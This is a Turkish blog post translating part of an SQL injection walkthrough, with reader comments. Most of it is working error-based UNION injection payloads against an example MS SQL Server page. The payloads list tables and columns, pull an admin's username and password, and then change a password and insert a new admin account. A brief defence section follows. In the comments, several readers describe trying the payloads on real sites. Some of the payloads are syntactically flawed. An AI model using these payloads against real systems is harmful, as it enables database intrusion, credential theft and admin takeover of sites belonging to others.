SQL Injection, Bölüm 2

19 Kasım 2006 tarihli, Güvenlik köşesine ait yazı.

SQL InjectionSQL Injection Walkthrough çevirisinin 2. bölümünde MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz.

6 ODBC hata mesajıyla veritabanındaki tablo adlarını almak

MS SQL Server tarafından oluşturulan ODBC hata mesajlarını kullanarak neredeyse her türlü bilgiye ulaşmanız mümkün. Örnek olarak şöyle bir sayfa kullanıldığını düşünün:

http://www.example.com/index.asp?id=10

Adresteki 10 sayısının yanına, veritabanına ulaşabileceğimiz birkaç sorgu ekleyelim:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

INFORMATION_SCHEMA.TABLES sunucuda kayıtlı tüm tabloların listesini tutan bir sistem tablosudur. TABLE_NAME ise bu sistem tablosundaki bir değişkendir. “SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–” sorgusu bize veritabanındaki ilk tablonun adını dönecek. Tablonun adını 10 sayısıyla birleştirmeye -UNION- çalışınca ise şöyle bir hata mesajıyla karşılaşacağız, ki bu bize istediğimiz bilgiyi veriyor olacak:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1‘ to a column of data type int.
/index.asp, line 5

Bu hata mesajı bize saf saf ilk tablonun table1 olduğunu söyledi. Sonraki tablonun adını almak için (1), veya içerisinde login geçen bir tabloyu bulmak için (2) şunları deneyebilirsiniz:

(1) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

(2) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login‘ to a column of data type int.
/index.asp, line 5

6.1 Tablonun değişkenlerine ulaşmak

Bunun için bir başka kullanışlı sistem tablosu olan INFORMATION_SCHEMA.COLUMNS tablosunu kullanacağız.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id‘ to a column of data type int.
/index.asp, line 5

Sonraki değişken için:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’)–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name‘ to a column of data type int.
/index.asp, line 5

Düşünün ki yukarıdaki durumu tekrarlayıp diğer değişkenleri de password ve details olarak bulduk. Tüm değişkenleri elde ettiğimizde sorgumuza şöyle bir cevap alırız:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’,'login_name’,'password’,'details’)–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 Tablo adını ve değişkenlerini öğrendikten sonra istediğiniz bilgiye ulaşmak için

admin_login tablosunu ve değişkenlerini öğrendik. Şimdi sıra kullanıcı adlarını ve şifreleri öğrenmeye geldi.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo‘ to a column of data type int.
/index.asp, line 5

Görüyoruz ki tabloda neo isimli bir admin kayıtlı. Son olarak şifresini istiyoruz:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix‘ to a column of data type int.
/index.asp, line 5

6.3 Nümerik bir bilgiye nasıl ulaşırım?

Dikkat ettiyseniz yukarıda bir string’i bir integer’la UNION ederek hata mesajları çıkarmaya çalıştık. Ya istediğimiz bilgi bir sayıysa? Düşünün ki tablomuzda trinity kullanıcısının şifresi 31173. Bu durumda aşağıdaki sorgu sorunsuz bir UNION operasyonu yapacak, yani işimize yarayacak bir ODBC hatası yollamayacaktır.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity‘–

Yapmamız gereken -garip bir şekilde- sorgu sonrası hata mesajı çıkarmayı garantilemek.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity‘–

Yukarıda + işaretiyle (%2b) şifremizi “morpheus” string’iyle birleştirip integer’a çevirmeye çalışıyoruz. Bu mantıklı(!) işlemin sonucunda da istediğimiz sonucu alıyoruz:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus‘ to a column of data type int.
/index.asp, line 5

7 Veritabanını güncellemek, veri eklemek

Tablo isimlerini ve değişkenlerini öğrendikten sonra tabloları güncellemek, yeni veriler eklemek de tabii ki mümkün. Örnek olarak yöneticimiz neo‘nun şifresini değiştirip, sisteme yeni bir admin ekleyelim:

http://www.example.com/index.asp?id=10; UPDATE ‘admin_login‘ SET ‘password‘ = ‘newpas5‘ WHERE login_name=’neo‘–

http://www.example.com/index.asp?id=10; INSERT INTO ‘admin_login‘ (’login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2‘,’newpas5‘,’NA’)–

8 SQL Injection’dan Korunma Yolları

Bunun için aslında çok basit bir yol var:

  • Kullanıcıdan aldığınız input’larda,
  • URL’lerdeki parametrelerde,
  • Cookie’lerdeki değerlerde bulunan

tek tırnak (), çift tırnak (), taksim (/), bölü (\), noktalı virgül (;)
boş karakter (NULL), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.

Sayılar için SQL sorgusuna eklemeden önce integer’a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.

Kullanmadığınız stored procedure’leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask, …

9 Daha Fazla Bilgi…



Yorumlar - Başa Dön

kuen
20 Kasım 2006

Süper bir kaynak, çeviri için teşekkürler.

Nedim
6 Aralık 2006

[Microsoft][ODBC SQL Server Driver][SQL Server]Error converting data type nvarchar to int.
ne anlama geliyor,ne yapmalıyım. Tşk.

oya
13 Ocak 2007

Bunun için aslında çok basit bir yol var:

Kullanıcıdan aldığınız input’larda,
URL’lerdeki parametrelerde,
Cookie’lerdeki değerlerde bulunan
tek tırnak (‘), çift tırnak (“), taksim (/), bölü (\), noktalı virgül (;)
boş karakter (NULL), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.

Sayılar için SQL sorgusuna eklemeden önce integer’a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.

Kullanmadığınız stored procedure’leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask, …

burayı anlamadım. nasıl olucak. biraz daha açarsanız benim gibi hiç bilmeyenlerde yararlanır.

Onur
16 Ocak 2007

Oya hanım, SQL injection’a karşı korunmak zaten hiç bilmeyenler ya da hazır kod kullanan kişiler için değil, web sitelerini kendi kodlayan programcılar için gereklidir.
Örneğin aşağıdaki yorum formundaki her input belli filtrelerden geçirilerek veritabanına işlenir. Karakterleri filtrelemek regular expression‘lar kullanarak yapılabilir. Stored procedure ayarlamalarını da sunucunun yöneticisi yapabilir. Eminim yazıdaki terimlere yakın olduğunuz zaman çözümleri kullanmanız anlamlı olacaktır.

Mesut TUNGA
8 Mart 2007

Verdiginiz ornekde UNION select kullandiginiz icin, sql cumlecigindeki alan sayisi ile union daki sayi ayni olmali. aksi taktirde su hatayi alirsiniz:

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists

Kolay Gele …
Mesut TUNGA …

improper
21 Mart 2007

Microsoft OLE DB Provider for ODBC Drivers error ‘80004005′

[Microsoft][ODBC Microsoft Access Driver] Could not find file ‘c:\windows\system32\inetsrv\INFORMATION_SCHEMA.mdb’.

/satis/urun_ayrinti.asp, line 9

hatası veriyor içinde .(nokta) olan bir şey yazdıgımda o isimle bir mdb dosyası yok diye hata veriyor. sql yiyor ‘or’= gibi sql ler çalışıyor ama tablo adı öğrenme gibi hatalar verdirilemiyor.

xAsiL_KraLx
4 Nisan 2007

arkadaşın dediği gibi

Microsoft JET Database Engine error ‘80004005′

Could not find file ‘c:\windows\system32\inetsrv\INFORMATION_SCHEMA.mdb’.

/haberler/haberdetay.asp, line 7

bi bende olmuyo sanıyodum bende

Lord
27 Haziran 2007

Aynen :
c:\windows\system32\inetsrv\ INFORMATION_SCHEMA.mdb
Deneme yanılmayla tablo isimlerini bularak ilerleyebiliyorum. sütun isimlerini de uydurmasyon bu örneğin tamamı INFORMATION_SCHEMA.TABLES ile sayseyinde işliyor ama bu çalışmayınca bir işe yaramıyor. Bilgi çekemiyorum. Ama denyeerek tablonun yapısını çözmeye çalışıyorum. Sonunda oluyo zorda olsa. …

Ümit
1 Ağustos 2007

c:\windows\system32\inetsrv\ INFORMATION_SCHEMA.mdb
Deneme yanılmayla tablo isimlerini bularak ilerleyebiliyorum. sütun isimlerini de uydurmasyon bu örneğin tamamı INFORMATION_SCHEMA.TABLES ile sayseyinde işliyor ama bu çalışmayınca bir işe yaramıyor. Bilgi çekemiyorum. Ama denyeerek tablonun yapısını çözmeye çalışıyorum. Sonunda oluyo zorda olsa.

samet
3 Mart 2008

COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login‘ WHERE COLUMN_NAME NOT IN (’login_id’)–

Bu söz dizimi bende çalışmıyor. ikinci where yi yanlış syntax olarak gösteriyor. Yani bulduğum tablonun 2.sütununu bulamıyorum.

SQL Injection, Bölüm 2 | Yaramazadam
10 Ağustos 2008

[...] SQL Injection Walkthrough çevirisinin 2. bölümünde MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz. (more…) [...]

guzelokey
6 Mayıs 2009

thank



Yorum Yazın

(gerekli)

(gerekli)


Yorum yapacaklar için bilgi:
Verdiğiniz mail adresi sitede asla görüntülenmeyecektir. Sonraki yorumlarınız için isim, e-posta gibi bilgiler cookie olarak bilgisayarınızda saklanacaktır.



Önizleme: